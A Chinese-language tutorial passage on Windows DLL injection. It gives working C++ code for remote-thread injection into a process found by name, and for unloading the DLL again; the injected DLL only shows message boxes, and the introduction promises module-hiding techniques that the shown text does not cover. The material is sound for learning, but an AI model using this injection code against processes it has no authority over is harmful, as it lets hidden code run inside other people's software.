简介
DLL注入技术,包含远程线程注入、劫持线程注入、消息钩子注入、APC注入、实现简单的模块隐藏功能 (手动加载二进制数据、手动拉伸二进制数据、手动修复重定位数据、手动修复导入表数据、重载导出表地址、抹除特征码信息、双向循环列表断链)。
DLL注入的基本概念
什么是动态链接库
动态链接库(Dynamic Link Library, DLL)和静态链接库(Static Link Library)都是共享代码和资源的一种机制,但它们在加载、编译和运行时的方式上有显著的区别。以下是它们的定义及区别:
1. 动态链接库(DLL)
定义:
动态链接库是独立于可执行程序文件的外部模块,它在运行时由系统动态加载到内存中。多个应用程序可以共享同一个动态链接库,以节省内存空间。
工作原理:
在编译时,应用程序只需要知道 DLL
的接口,而不需要将其实际代码包含在可执行文件中。在程序运行时,当代码首次调用
DLL 中的函数时,系统会将 DLL
文件加载到内存,并将该函数的地址绑定到应用程序中。
优点: - 节省内存:多个程序可以共享同一个 DLL 实例,减少内存使用。 - 易于更新和维护:可以通过更新 DLL 文件而不需重新编译依赖它的程序。 - 模块化开发:通过 DLL,程序可以分成多个模块,每个模块实现独立的功能。
缺点: - 运行时依赖:如果 DLL 丢失或版本不匹配,程序可能无法正常运行。 - 加载速度:每次运行程序时需要动态加载 DLL,可能导致启动时的加载速度略慢。
2. 静态链接库
定义:
静态链接库是在编译时被直接链接进应用程序的库文件。它的代码会被编译器直接编译进最终的可执行文件中,形成一个独立、完整的文件。
工作原理:
在编译和链接阶段,静态链接库的代码会被直接复制到可执行文件中。程序运行时不需要外部库的支持,因为所有库的代码都已经包含在可执行文件中。
优点: - 独立性强:可执行文件包含所有代码,不需要外部库的支持,更适合在没有 DLL 支持的环境中运行。 - 减少依赖:避免了动态链接库在运行时丢失或版本冲突的问题。 - 启动速度快:不需要动态加载库文件,因此启动速度较快。
缺点: - 文件体积较大:静态链接库会将所有依赖库打包进可执行文件,使得文件体积增大。 - 更新维护成本高:一旦库内容变动,需要重新编译整个应用程序。 - 内存浪费:如果多个程序使用同一个静态库,每个程序都会加载一份相同的代码,增加了内存占用。
3. 动态链接库和静态链接库的区别
特性 | 动态链接库 (DLL) | 静态链接库 |
---|---|---|
链接方式 | 运行时动态链接 | 编译时静态链接 |
文件体积 | 体积较小(不包含库代码) | 体积较大(包含库代码) |
内存占用 | 多个程序共享同一个库实例,节省内存 | 每个程序都包含一份库代码,内存消耗高 |
启动速度 | 需要加载 DLL,启动稍慢 | 无需加载库,启动速度快 |
更新和维护 | 可以独立更新库文件,无需重新编译 | 库更新需要重新编译可执行文件 |
依赖性 | 运行时依赖外部库 | 独立运行,不依赖外部库 |
适用场景 | 模块化软件,系统库文件 | 跨平台程序、独立运行的程序 |
4. 举例说明
假设我们有一个包含数学运算的库(如求平方、求和),并在两个应用程序中使用它:
动态链接库:两个程序都引用同一个 DLL 文件。运行时,系统只加载一份该 DLL 到内存中,两者共享这份库资源。如果需要优化算法,只需更新 DLL 文件即可,无需修改应用程序。
静态链接库:该库的代码会被嵌入到每个应用程序的可执行文件中,导致两个程序的体积增大,而且它们独立占用内存。如果库功能改进,需要重新编译每个应用程序才能生效。
5. 应用场景
- 动态链接库适用场景:
- 大型软件系统,例如操作系统、数据库服务器等,它们可以通过动态链接库来动态加载特性模块或第三方库。
- 频繁更新的系统,通过动态链接库来独立更新和维护。
- 静态链接库适用场景:
- 独立运行、跨平台的程序(如嵌入式系统程序),避免因缺少运行环境的 DLL 而导致的兼容性问题。
- 需要高度独立和一致性的场景,不依赖外部环境。
代码示例
#include <Windows.h>
#include <iostream>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
char szBuffer[0x256] = { 0 };
sprintf_s(szBuffer, "%x - LOADDLL", hModule);
MessageBoxA(0, szBuffer, 0, 0);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
{
MessageBoxA(0, "FreeDLL", 0, 0);
break;
}
}
return TRUE;
}
#include <Windows.h>
#include <iostream>
int main()
{
HMODULE hmodule = LoadLibraryA("D:\\Ferry\\Project\\injectdll\\Debug\\injectdll.dll");
system("pause");
FreeLibrary(hmodule);
system("pause");
return 0;
}
这两段代码示例分别包括一个简单的 DLL(动态链接库)和一个加载此 DLL 的主程序。让我们逐步详细解释每部分的功能和操作流程。
DLL 代码解释
首先是 DLL 的代码:
#include <Windows.h>
#include <iostream>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
char szBuffer[0x256] = { 0 };
sprintf_s(szBuffer, "%x - LOADDLL", hModule);
MessageBoxA(0, szBuffer, 0, 0);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
{
MessageBoxA(0, "FreeDLL", 0, 0);
break;
}
}
return TRUE;
}
DllMain 函数: 这是每个 DLL 必须包含的入口点函数。它在 DLL 被加载、线程创建、线程终止和 DLL 卸载时被调用。
参数
:
hModule
: DLL 自身的模块句柄。ul_reason_for_call
: 表示调用 DllMain 的原因。lpReserved
: 保留参数,用于系统调用时传递。
- switch-case 结构
-
根据调用原因执行不同的代码。
DLL_PROCESS_ATTACH
: 当 DLL 被进程加载时执行。这里,代码通过sprintf_s
函数把 DLL 的模块句柄(地址)格式化成十六进制字符串,并显示消息框。DLL_THREAD_ATTACH
和DLL_THREAD_DETACH
: 当进程创建或终止线程时被调用,这里没有实现特定操作。DLL_PROCESS_DETACH
: 当 DLL 被从进程中卸载时执行,显示一个消息框提示 "FreeDLL"。
主程序代码解释
然后是主程序的代码,用于加载和卸载 DLL:
#include <Windows.h>
#include <iostream>
int main()
{
HMODULE hmodule = LoadLibraryA("D:\\Ferry\\Project\\injectdll\\Debug\\injectdll.dll");
system("pause");
FreeLibrary(hmodule);
system("pause");
return 0;
}
- LoadLibraryA 函数: 加载指定路径下的 DLL 文件。如果加载成功,返回 DLL 的模块句柄,否则返回 NULL。这里的路径需要根据实际情况修改以确保 DLL 存在。
- system("pause"): 让程序暂停,这样用户可以看到任何由 DLL 触发的消息框。
- FreeLibrary 函数: 使用先前由
LoadLibraryA
获得的模块句柄来卸载 DLL。这将触发DLL_PROCESS_DETACH
。 - 第二个 system("pause"): 再次暂停,允许用户在程序完全结束前看到 DLL 卸载后的消息框。
这种结构允许测试 DLL 的加载和卸载过程,特别是在开发阶段调试 DLL 行为时非常有用。
什么是注入的本质
注入的本质
注入的本质可以概括为以下几点:
- 访问目标进程的地址空间:注入首先需要进入目标程序的地址空间,即让注入的代码或数据在目标进程的内存中驻留。常见方法包括:
- 使用系统 API 函数(如 Windows 的
WriteProcessMemory
)将外部代码写入目标进程的内存空间。 - 创建远程线程(如
CreateRemoteThread
)使目标程序执行指定位置的代码。 - 利用 DLL 注入技术加载外部 DLL 以扩展目标进程的功能。
- 使用系统 API 函数(如 Windows 的
- 改变程序的执行流:注入的主要目的是通过某种手段改变程序的正常执行流,使程序执行外部注入的代码。例如,通过改变某个函数的入口地址或插入钩子(Hook)函数,使程序在特定位置调用外部代码。
- 动态加载和执行外部代码:注入可以让目标进程在执行时动态加载外部代码。通常的做法包括:
- 使用 DLL 注入:将 DLL 文件加载到目标进程中,这些 DLL 可以包含任何想要注入的功能或操作。
- 代码注入:直接将二进制代码写入目标进程的某个内存区域,然后执行这些代码。
- 获取或修改目标进程的数据:注入代码不仅可以控制目标进程的执行流,还可以读取或修改其内存数据。例如:
- 读取关键变量的值。
- 修改数据结构或某些变量以影响程序的逻辑。
- 通过拦截系统调用、网络流量等方式获取目标进程的敏感数据。
常见的注入技术
- DLL 注入:最常见的注入技术。通过将 DLL
加载到目标进程地址空间,并在 DLL
中定义特定功能代码,使目标进程调用或执行这些功能。实现 DLL
注入的方法包括:
- 远程线程注入:使用
CreateRemoteThread
在目标进程中创建新线程,调用LoadLibrary
加载 DLL。 - APC(Asynchronous Procedure Call)注入:利用 APC 机制将 DLL 加载到目标进程中。
- 挂钩 DLL:通过加载特定名称的 DLL,利用 Windows 加载机制劫持系统调用,将特定 DLL 注入到所有调用该 DLL 的进程中。
- 远程线程注入:使用
- 代码注入:直接将二进制代码写入目标进程的内存,然后通过改变目标进程的执行流执行这些代码。此类注入适用于特定功能的精确控制,常用的方法包括:
- 函数挂钩(Function Hooking):重写目标进程函数入口地址,使其调用注入的代码。
- Inline Hooking:将代码直接插入到函数入口处,以拦截目标函数的调用。
- 远程线程执行代码:将代码写入目标进程的内存后,创建一个新线程执行此代码。
- 内核注入:通过修改内核态的数据或代码来控制目标程序的行为。此方法通常用于提升权限或绕过安全措施,典型方式包括:
- 利用内核驱动直接操作内存和 CPU 寄存器。
- 通过挂钩系统调用或内核函数控制执行流。
- 网络注入:在网络数据流中插入数据或代码,使目标程序在处理网络数据时加载并执行恶意代码,这类技术多用于远程攻击场景中。
模块映射机制图解
这张图片描述了两个独立进程(进程A和进程B)在虚拟内存中的布局情况。图中展示了每个进程中不同模块(例如可执行文件和动态链接库DLLs)如何被映射到各自的虚拟地址空间中。
图解说明
- ImageBase:
- 每个进程中的可执行文件(进程A和进程B)都有一个
ImageBase
,它是该可执行文件在虚拟内存中的起始地址,这里分别是0x400000
。 - 注意,尽管两个进程的
ImageBase
相同,但因为它们属于不同的虚拟地址空间,所以这两个地址实际上并不冲突。
- 每个进程中的可执行文件(进程A和进程B)都有一个
- Kernel32.dll 和 GDI32.dll:
- 这两个常见的系统DLL被加载到每个进程的虚拟内存中。不同进程中相同的DLL可以被映射到不同的虚拟地址。
- 在进程A中,
Kernel32.dll
加载在0x73000000
,而在进程B中也是加载在0x73000000
。这显示了系统DLL通常被映射到虚拟内存中的相同地址以提高效率(如果启用了ASLR,这个地址可能会变化)。 - 同样,
GDI32.dll
在两个进程中都映射到了0x71000000
。
关键点
- 独立的虚拟地址空间:每个进程拥有独立的虚拟地址空间,因此相同的虚拟地址在不同进程中指向的是完全不同的物理内存区域或者不同的资源。
- 虚拟内存管理:操作系统通过虚拟内存管理技术(如页表)将虚拟地址映射到物理地址。
- 地址重用和DLL共享:操作系统为了内存使用效率,通常会尽量在多个进程之间共享相同的系统DLL代码。这不仅减少了物理内存的使用,还可以减少页面错误和提高缓存效率。
这张图片很好地展示了现代操作系统如何管理和隔离不同进程的内存,以及如何通过虚拟内存机制实现资源的有效使用和安全隔离。
问:两个进程的基地址一样,操作系统会如何操作
在现代操作系统中,每个进程都有其独立的虚拟地址空间,这意味着即使两个不同的程序的可执行文件在磁盘上的基地址相同,它们在内存中的实际加载地址也可以不同。这是通过一种称为地址空间布局随机化(ASLR, Address Space Layout Randomization)的技术实现的,ASLR 为每个进程提供了一个随机化的地址空间,增强了系统的安全性。
地址空间和虚拟内存
- 虚拟地址空间:每个进程在操作系统中都拥有一个独立的虚拟地址空间。这个地址空间是由操作系统管理的,它允许每个进程操作自己的一套独立地址,这些地址会被操作系统映射到物理内存上。
- 虚拟内存系统:通过这个系统,程序的基地址被映射到虚拟地址空间中的某个位置。这意味着程序代码在内存中的实际物理位置可以与其他程序完全不同,即使它们的虚拟基地址相同。
加载到内存中的操作
当操作系统加载一个可执行文件时,它通常会参考该文件的PE(Portable Executable)头中的信息,特别是文件建议的基地址。然而,实际的加载地址可以由操作系统动态调整:
- ASLR:如果启用了ASLR,操作系统会选择一个随机的地址来加载程序的可执行文件。这样即使两个程序建议的基地址相同,它们在内存中的实际加载地址也会因为随机化而不同。
- 基地址冲突:在没有ASLR或ASLR未能应用的特殊情况下,如果操作系统尝试在相同的虚拟地址空间位置加载两个程序,并且存在地址冲突,它会重新定位一个或两个程序的基地址。这是通过使用PE文件中的重定位表来完成的,可以调整程序中的地址引用,以适应新的基地址。
结果
因此,即使两个程序的文件指定了相同的基地址,现代操作系统也可以通过虚拟内存管理和ASLR技术,确保它们在内存中的实际加载位置不会冲突,从而保持各自的地址空间隔离和安全。这种机制对于保护系统免受某些类型的安全威胁(如缓冲区溢出攻击)至关重要。
问:imagebase是虚拟内存地址还是实际物理内存中的地址
在Windows的Portable Executable (PE)
文件格式中,ImageBase
是指定在虚拟内存中期望加载的基地址。这是一个虚拟地址,而不是物理内存地址。
虚拟内存地址 vs. 实际物理内存地址
- 虚拟内存地址:每个运行的应用程序都被操作系统分配一个虚拟地址空间,其中包括程序代码、数据、堆栈等。这个地址空间是隔离的,意味着每个程序都以为自己在使用一个连续的、完整的内存区域,但实际上这些虚拟地址会被操作系统映射到物理内存的不同部分上。
ImageBase
是程序在这个虚拟地址空间中的起始地址。 - 实际物理内存地址:这是实际存在于计算机物理内存条中的地址。虚拟地址到物理地址的映射由操作系统的内存管理单元(MMU)负责处理。
为什么使用虚拟地址?
使用虚拟地址有几个关键的原因:
- 安全性:虚拟内存地址空间隔离保证了一个应用程序不能直接访问或干扰另一个应用程序的内存,除非通过特定的操作系统控制的机制。
- 灵活性:即使多个应用程序请求相同的虚拟地址(例如多个实例的相同程序),操作系统也可以将它们映射到物理内存的不同部分。
- 稳定性:程序可以请求在特定的虚拟地址加载,如
ImageBase
,操作系统可以通过技术如ASLR(地址空间布局随机化)来动态调整实际加载的物理地址,增加了安全性而不影响程序的运行。
因此,ImageBase
在PE文件头中指定的是一个虚拟地址,它定义了执行文件在虚拟地址空间中的预期加载位置,实际物理地址的分配则由操作系统的内存管理策略决定。
注入示例
远程线程注入与释放
远程线程注入模板
#include <Windows.h>
#include <iostream>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(0, "注入", 0, 0);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
MessageBoxA(0, "卸载", 0, 0);
break;
}
return TRUE;
}
#include <Windows.h>
#include <iostream>
// D:\\Ferry\\Project\\injectdll\\Debug\\injectdll.dll
CHAR szBuffer[] = "D:\\Ferry\\Project\\injectdll\\Debug\\injectdll.dll";
void RemoteThreadInject(DWORD dwPid, PCHAR szDllPath)
{
HANDLE hProcess = 0;
HANDLE pDllPath = 0;
DWORD dwDllPathSize = strlen(szDllPath) + 1;
HMODULE hModule_Kernel32 = 0;
DWORD dwFunAddr = 0;
HANDLE hThread = 0;
//打开进程得到指定注入进程句柄
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
printf("OpenProcess Error -> [%x] \n", GetLastError());
return;
}
//在指定内存中申请内存存储LoadLIbrary参数地址(dllpath)
pDllPath = VirtualAllocEx(hProcess, NULL, dwDllPathSize, MEM_COMMIT, PAGE_READWRITE);
if (!pDllPath)
{
printf("VitualAllocEx Error -> [%x] \n", GetLastError());
return;
}
//dll路径写入分配在指定进程对应内存空间当中
if (!WriteProcessMemory(hProcess, pDllPath, szDllPath, dwDllPathSize, NULL))
{
printf("WriteProcessMemory Error -> [%x] \n", GetLastError());
return;
}
WriteProcessMemory(hProcess, pDllPath, szDllPath, dwDllPathSize, NULL);
//获取LoadLibraryA.Address
hModule_Kernel32 = LoadLibraryA("Kernel32.dll");
if (hModule_Kernel32 == NULL)
{
printf("hModule_Kernel32 Error ->[% x] \n", GetLastError());
return;
}
dwFunAddr =(DWORD) GetProcAddress(hModule_Kernel32, "LoadLibraryA");
hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)dwFunAddr, pDllPath, 0, NULL);
if (hThread == NULL)
{
printf("CreateRemoteThread Error ->[% x] \n", GetLastError());
return;
}
}
int main()
{
RemoteThreadInject(121996,szBuffer);
return 0;
}
这两段代码一起实现了一个 DLL 注入的示例,其中第一段代码是 DLL 的源代码,第二段是主程序,负责将 DLL 注入到目标进程中。下面我将详细解释每段代码的作用和运行机制。
第一段代码:DLL 的 DllMain 函数
这段代码定义了一个 DLL 的入口点函数 DllMain
。该函数在
DLL 加载、线程创建、线程结束和 DLL 卸载时被调用。
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(0, "注入", 0, 0); // 当 DLL 被加载到进程中时显示“注入”
break;
case DLL_THREAD_ATTACH:
// 线程创建时调用,此处没有实现具体功能
break;
case DLL_THREAD_DETACH:
// 线程结束时调用,此处没有实现具体功能
break;
case DLL_PROCESS_DETACH:
MessageBoxA(0, "卸载", 0, 0); // 当 DLL 从进程中卸载时显示“卸载”
break;
}
return TRUE;
}
DLL_PROCESS_ATTACH
:当 DLL 首次被加载到进程的地址空间时执行。这里它弹出一个消息框显示“注入”。DLL_PROCESS_DETACH
:当 DLL 从进程的地址空间卸载时执行。这里它弹出一个消息框显示“卸载”。
第二段代码:远程线程注入
这段代码定义了一个函数 RemoteThreadInject
,用来将 DLL
注入到指定的进程中。
CHAR szBuffer[] = "D:\\Ferry\\Project\\injectdll\\Debug\\injectdll.dll"; // DLL 文件的路径
void RemoteThreadInject(DWORD dwPid, PCHAR szDllPath) {
// 此处省略部分变量定义代码
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); // 打开目标进程
pDllPath = VirtualAllocEx(hProcess, NULL, dwDllPathSize, MEM_COMMIT, PAGE_READWRITE); // 在目标进程中分配内存
WriteProcessMemory(hProcess, pDllPath, szDllPath, dwDllPathSize, NULL); // 将 DLL 路径写入目标进程
hModule_Kernel32 = LoadLibraryA("Kernel32.dll"); // 加载 Kernel32.dll
dwFunAddr = (DWORD)GetProcAddress(hModule_Kernel32, "LoadLibraryA"); // 获取 LoadLibraryA 函数的地址
hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)dwFunAddr, pDllPath, 0, NULL); // 创建远程线程执行 LoadLibraryA
}
步骤解释:
- 打开目标进程:使用
OpenProcess
函数获取目标进程的句柄。 - 内存分配:使用 VirtualAllocEx 在目标进程的地址空间内分配内存,用于存放 DLL 路径。
- 写入内存:通过 WriteProcessMemory 函数将 DLL 路径写入刚刚分配的内存中。
- 加载 **
Kernel32.dll
:由于LoadLibraryA
函数位于Kernel32.dll
中,需要获取其地址。 - 创建远程线程:使用
CreateRemoteThread
创建一个新线程,运行LoadLibraryA
并传入 DLL 路径作为参数,从而加载 DLL。
这个过程使得目标进程加载指定的 DLL,执行 DLL 中的代码,通常用于插件、补丁系统或恶意软件注入。
注入效果图
通用释放框架
#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>
// PETool 1.0.0.5.exe
// D:\\Ferry\\Project\\injectdll\\Debug\\injectdll.dll
CHAR szBuffer[] = "D:\\Ferry\\Project\\injectdll\\Debug\\injectdll.dll";
DWORD GetProcessIdByName(PWCHAR ProcessName)
{
//创建进程快照
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE)
{
return 0;
}
//创建获取信息进程结构体
PROCESSENTRY32 pe32 = { 0 };
pe32.dwSize = sizeof(pe32);
//遍历进程
if (Process32First(hSnap,&pe32))
{
do
{
if (wcscmp(pe32.szExeFile, ProcessName) == 0)
{
return pe32.th32ProcessID;
}
} while (Process32Next(hSnap, &pe32));
}
}
VOID FreeInjectDll(DWORD dwPid, PWCHAR DllName)
{
//拍摄快照
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPid);
if (hSnap == INVALID_HANDLE_VALUE)
{
return;
}
//初始化模块结构体
MODULEENTRY32 me32 = { 0 };
me32.dwSize = sizeof(me32);
//遍历指定进程下的模块
if (Module32First(hSnap, &me32))
{
do
{
if (wcscmp(me32.szModule, DllName) == 0)
{
//打开进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
return;
}
//FreeLibrary.Address
HMODULE hModule_Kernel32 = LoadLibraryA("Kernel32.dll");
if (hModule_Kernel32 == NULL)
{
return;
}
DWORD dwFunAddr = (DWORD)GetProcAddress(hModule_Kernel32, "FreeLibrary");
if (dwFunAddr == NULL)
{
return;
}
//RemoteRemoveDll
CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)dwFunAddr, me32.hModule, 0, 0);
}
} while (Module32Next(hSnap, &me32));
}
}
void RemoteThreadInject(DWORD dwPid, PCHAR szDllPath)
{
HANDLE hProcess = 0;
HANDLE pDllPath = 0;
DWORD dwDllPathSize = strlen(szDllPath) + 1;
HMODULE hModule_Kernel32 = 0;
DWORD dwFunAddr = 0;
HANDLE hThread = 0;
//打开进程得到指定注入进程句柄
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
printf("OpenProcess Error -> [%x] \n", GetLastError());
return;
}
//在指定内存中申请内存存储LoadLIbrary参数地址(dllpath)
pDllPath = VirtualAllocEx(hProcess, NULL, dwDllPathSize, MEM_COMMIT, PAGE_READWRITE);
if (!pDllPath)
{
printf("VitualAllocEx Error -> [%x] \n", GetLastError());
return;
}
//dll路径写入分配在指定进程对应内存空间当中
if (!WriteProcessMemory(hProcess, pDllPath, szDllPath, dwDllPathSize, NULL))
{
printf("WriteProcessMemory Error -> [%x] \n", GetLastError());
return;
}
WriteProcessMemory(hProcess, pDllPath, szDllPath, dwDllPathSize, NULL);
//获取LoadLibraryA.Address
hModule_Kernel32 = LoadLibraryA("Kernel32.dll");
if (hModule_Kernel32 == NULL)
{
printf("hModule_Kernel32 Error ->[% x] \n", GetLastError());
return;
}
dwFunAddr =(DWORD) GetProcAddress(hModule_Kernel32, "LoadLibraryA");
hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)dwFunAddr, pDllPath, 0, NULL);
if (hThread == NULL)
{
printf("CreateRemoteThread Error ->[% x] \n", GetLastError());
return;
}
}
int main()
{
//获取注入进程PID
DWORD dwPid = GetProcessIdByName((PWCHAR)L"PETool 1.0.0.5.exe");
//printf("%d \n", dwPid);
//远程线程注入
RemoteThreadInject(dwPid,szBuffer);
FreeInjectDll(dwPid, (PWCHAR)L"injectdll.dll");
return 0;
}
这段代码包含了多个函数,用来实现进程间的 DLL 注入和卸载操作。代码主要包含三个部分:获取进程ID、DLL注入、以及释放注入的DLL。下面是对每个部分的详细解释:
1.
获取进程ID:GetProcessIdByName
这个函数通过创建进程的快照,遍历所有进程以匹配进程名,返回匹配进程的进程ID (PID)。
CreateToolhelp32Snapshot
创建一个系统的快照,包括所有运行的进程。PROCESSENTRY32
结构体用来存储进程的信息。Process32First
和Process32Next
遍历快照中的每一个进程,并通过wcscmp
函数比较进程名字。
2.
DLL注入:RemoteThreadInject
这个函数用来将指定的DLL注入到指定的进程中。
OpenProcess
打开目标进程,获取进程句柄。VirtualAllocEx
在目标进程的地址空间中分配内存,用来存放DLL的路径。WriteProcessMemory
将DLL的路径写入刚刚分配的内存中。LoadLibraryA
加载Kernel32.dll,用以获取LoadLibraryA
函数的地址。GetProcAddress
获取LoadLibraryA
函数的地址。CreateRemoteThread
在目标进程中创建一个远程线程,开始执行LoadLibraryA
函数,载入指定的DLL。
3.
释放DLL:FreeInjectDll
这个函数用来从目标进程中卸载先前注入的DLL。
CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPid)
创建包含指定进程模块的快照。MODULEENTRY32
结构体用来存储模块的信息。Module32First
和Module32Next
遍历快照中的每一个模块,并通过wcscmp
函数比较模块名字。- 如果找到匹配的模块,使用
OpenProcess
打开进程句柄。 GetProcAddress
获取FreeLibrary
函数的地址。CreateRemoteThread
在目标进程中创建一个远程线程,开始执行FreeLibrary
函数,卸载指定的DLL。
效果图
远程线程释放实例
#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>
// PETool 1.0.0.5.exe
// D:\\Ferry\\Project\\injectdll\\Debug\\injectdll.dll
CHAR szBuffer[] = "D:\\Ferry\\Project\\injectdll\\Debug\\injectdll.dll";
DWORD GetProcessIdByName(PWCHAR ProcessName)
{
//创建进程快照
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE)
{
return 0;
}
//创建获取信息进程结构体
PROCESSENTRY32 pe32 = { 0 };
pe32.dwSize = sizeof(pe32);
//遍历进程
if (Process32First(hSnap,&pe32))
{
do
{
if (wcscmp(pe32.szExeFile, ProcessName) == 0)
{
return pe32.th32ProcessID;
}
} while (Process32Next(hSnap, &pe32));
}
}
VOID FreeInjectDll(DWORD dwPid, PWCHAR DllName)
{
//拍摄快照
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPid);
if (hSnap == INVALID_HANDLE_VALUE)
{
return;
}
//初始化模块结构体
MODULEENTRY32 me32 = { 0 };
me32.dwSize = sizeof(me32);
//遍历指定进程下的模块
if (Module32First(hSnap, &me32))
{
do
{
if (wcscmp(me32.szModule, DllName) == 0)
{
//打开进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
return;
}
//FreeLibrary.Address
HMODULE hModule_Kernel32 = LoadLibraryA("Kernel32.dll");
if (hModule_Kernel32 == NULL)
{
return;
}
DWORD dwFunAddr = (DWORD)GetProcAddress(hModule_Kernel32, "FreeLibrary");
if (dwFunAddr == NULL)
{
return;
}
//RemoteRemoveDll
CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)dwFunAddr, me32.hModule, 0, 0);
}
} while (Module32Next(hSnap, &me32));
}
}
void RemoteThreadInject(DWORD dwPid, PCHAR szDllPath)
{
HANDLE hProcess = 0;
HANDLE pDllPath = 0;
DWORD dwDllPathSize = strlen(szDllPath) + 1;
HMODULE hModule_Kernel32 = 0;
DWORD dwFunAddr = 0;
HANDLE hThread = 0;
//打开进程得到指定注入进程句柄
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
printf("OpenProcess Error -> [%x] \n", GetLastError());
return;
}
//在指定内存中申请内存存储LoadLIbrary参数地址(dllpath)
pDllPath = VirtualAllocEx(hProcess, NULL, dwDllPathSize, MEM_COMMIT, PAGE_READWRITE);
if (!pDllPath)
{
printf("VitualAllocEx Error -> [%x] \n", GetLastError());
return;
}
//dll路径写入分配在指定进程对应内存空间当中
if (!WriteProcessMemory(hProcess, pDllPath, szDllPath, dwDllPathSize, NULL))
{
printf("WriteProcessMemory Error -> [%x] \n", GetLastError());
return;
}
//获取LoadLibraryA.Address
hModule_Kernel32 = LoadLibraryA("Kernel32.dll");
if (hModule_Kernel32 == NULL)
{
printf("hModule_Kernel32 Error ->[% x] \n", GetLastError());
return;
}
dwFunAddr =(DWORD) GetProcAddress(hModule_Kernel32, "LoadLibraryA");
hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)dwFunAddr, pDllPath, 0, NULL);
if (hThread == NULL)
{
printf("CreateRemoteThread Error ->[% x] \n", GetLastError());
return;
}
//等待线程结束
WaitForSingleObject(hThread, INFINITE);
DWORD dwExitCode = 0;
GetExitCodeThread(hThread, &dwExitCode);//获取到注入的dll的imagebase
}
int main()
{
//获取注入进程PID
DWORD dwPid = GetProcessIdByName((PWCHAR)L"PETool 1.0.0.5.exe");
//printf("%d \n", dwPid);
//远程线程注入
RemoteThreadInject(dwPid,szBuffer);
//释放指定模块
//FreeInjectDll(dwPid, (PWCHAR)L"injectdll.dll");
return 0;
}
这段代码实现了一个完整的过程,包括从查找特定进程的进程ID、向该进程注入DLL、以及潜在地释放该DLL。下面是每个部分的详细解释:
1.
查找进程ID:GetProcessIdByName
此函数通过进程名获取进程ID。
- 创建进程快照:使用
CreateToolhelp32Snapshot
生成包含系统中所有进程信息的快照。 - 遍历进程:使用
Process32First
和Process32Next
遍历快照中的进程。 - 匹配进程名:使用
wcscmp
比较当前遍历的进程名称与传入的进程名称。 - 返回进程ID:如果找到匹配,返回该进程的ID。
2.
DLL注入:RemoteThreadInject
此函数负责将指定的DLL注入到指定PID的进程中。
- 打开目标进程:使用
OpenProcess
获取进程句柄,要求具备全部访问权限。 - 在目标进程中分配内存:使用
VirtualAllocEx
在目标进程的地址空间中为DLL路径字符串分配内存。 - 写入DLL路径到目标进程:通过
WriteProcessMemory
将DLL路径复制到目标进程的内存中。 - 加载
Kernel32.dll
和获取LoadLibraryA
地址:使用LoadLibraryA
和GetProcAddress
获取LoadLibraryA
函数的地址。 - 创建远程线程以加载DLL:通过
CreateRemoteThread
在目标进程中启动一个线程来执行LoadLibraryA
,参数为DLL路径。 - 等待线程结束并获取退出代码:使用
WaitForSingleObject
等待线程完成,GetExitCodeThread
获取线程退出代码(此处是DLL的ImageBase
)。
3.
释放注入的DLL:FreeInjectDll
(在代码中被注释掉了)
此函数用于卸载先前注入的DLL。
- 创建模块快照:使用
CreateToolhelp32Snapshot
创建特定进程的模块快照。 - 遍历模块:使用
Module32First
和Module32Next
遍历找到指定的DLL。 - 打开进程:再次打开目标进程以获取句柄。
- 获取
FreeLibrary
地址并执行:加载Kernel32.dll
,使用GetProcAddress
获取FreeLibrary
的地址,然后用CreateRemoteThread
创建一个线程来卸载DLL。
效果图
为什么dwExitCode最终获取到注入的dll的imagebase?
如果 dwExitCode
获取到的值是注入的 DLL 的
ImageBase
,这通常是因为线程的启动例程(通常是
LoadLibrary
)返回了一个值。在 DLL 注入的场景中,通过
CreateRemoteThread
调用 LoadLibrary
函数加载
DLL 时,LoadLibrary
函数的返回值(即 DLL 的
ImageBase
)会被视为线程的退出代码。
理解
LoadLibrary
与 CreateRemoteThread
当 CreateRemoteThread
